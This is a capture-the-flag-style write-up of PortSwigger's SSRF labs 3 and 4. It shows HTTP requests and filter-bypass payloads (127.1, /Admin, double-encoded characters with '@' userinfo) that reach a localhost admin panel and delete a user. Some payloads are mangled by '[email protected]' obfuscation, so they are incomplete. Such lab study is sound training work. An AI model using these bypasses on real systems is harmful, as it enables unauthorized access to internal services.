Solving PortSwigger SSRF Labs - Part 2



This is a continuation of our series in solving the PortSwigger SSRF labs. The first part of this series can be found here

Lab 3 - SSRF with blacklist-based input filter

URL: https://portswigger.net/web-security/ssrf/lab-ssrf-with-blacklist-filter

This lab has a stock check feature which fetches data from an internal system.

To solve the lab, change the stock check URL to access the admin interface at http://localhost/admin and delete the user carlos

The developer has deployed two weak anti-SSRF defenses that you will need to bypass.

Solution:
The task is similar to the first and second lab. Find SSRF and delete the user carlos. However, for Lab 3, “The developer has deployed two weak anti-SSRF defenses that you will need to bypass”. Thus, a bypass is required to solve the challenge.

We captured the request where the “Stock feature” was triggered and sent it to the Burp Suite Repeater tab.

An attempt to access the admin interface using the same approach as in Lab 1 resulted in a 400 error.

POST /product/stock HTTP/1.1
Host: xxx.web-security-academy.net
...

stockApi=http://localhost/admin

HTTP/1.1 400 Bad Request
Content-Type: application/json; charset=utf-8
Connection: close
Content-Length: 51

"External stock check blocked for security reasons"

We tried the next payload in order to identify what kind of defenses were enabled:

http://localhos/ -> 500 Internal Server Error
"Could not connect to external stock check service"

http://localhost/ -> 400 Bad Request
"External stock check blocked for security reasons"

http://0.0.0.0/ -> 400 bad Request
"Invalid external stock check url 'Invalid IPV4 address'"

From the above test cases, we confirmed that localhost string was blocked and IP-based URL can be used. Thus, the following was used to bypass the defenses:

POST /product/stock HTTP/1.1
Host: xx.web-security-academy.net
...

stockApi=http://127.1/

However, when attempted to access the /admin path, the application again blocked our request. This indicated that the path itself may be deny-listed too. We attempted to access by randomising the admin characters and able to bypass it using /Admin.

From here, it was easy. The lab was solved with the following final payload:

POST /product/stock HTTP/1.1
Host: xxx.web-security-academy.net
...

stockApi=http://127.1/Admin/delete?username=carlos

Lab 4 - SSRF with whitelist-based input filter

URL: https://portswigger.net/web-security/ssrf/lab-ssrf-with-whitelist-filter

This lab has a stock check feature which fetches data from an internal system.

To solve the lab, change the stock check URL to access the admin interface at http://localhost/admin and delete the user carlos.

The developer has deployed an anti-SSRF defense you will need to bypass.

Solution:
For Lab 4, another type of defense has been applied to mitigate SSRF. To solve the challenge, a bypass is required.

Same approach was taken in this lab where the we sent the vulnerable request to the Burp Suite Repeater tab for further tests.

The following payloads were attempted to identify how the anti-SSRF worked.

http://localhost
"External stock check host must be stock.weliketoshop.net"

http://127.1
"External stock check host must be stock.weliketoshop.net"

Both attempts showed the same error which require the supplied value to be coming from stock.weliketoshop.net host. With this information, we attempted again using the following payloads to identify patterns that can be used for bypassing the check.

http://localhost?stock.weliketoshop.net
"External stock check host must be stock.weliketoshop.net"

http://localhost%0astock.weliketoshop.net
"Invalid external stock check url 'Illegal character in authority at index 7: http://localhost
stock.weliketoshop.net'"

http://localhost%23stock.weliketoshop.net
"External stock check host must be stock.weliketoshop.net"

http://[email protected]
"Could not connect to external stock check service"

From the tests, @ was shown a different error. The reason why it seems being accepted here probably due to the application assuming the user was attempting to login to http://stock.weliketoshop.net as the username localhost. Thus making this request was valid.

With this one potential bypass, we focused on utilising the @ sign to complete the lab. We were required to find a way to ensure the application accepts the URL as http://localhost and at the same time need to append @stock.weliketoshop.net to match with the allow-listed host.

The following attempts were made:

http://[email protected] - Failed

http://localhost%[email protected] - URLencoded the ?, but still failed.

http://localhost%[email protected] - Success. By URLencoded the ? character twice, we were able to bypass it.

With the identified bypass payload, we successfully completed the lab with the following final request which deleted the user carlos

POST /product/stock HTTP/1.1
Host: xxx.web-security-academy.net
...

http://localhost%[email protected]/admin/delete?username=carlos

Reference(s):

1. StackOverflow - How to automatically login to the site using url parameters?

The final part of this series can be found here Part 3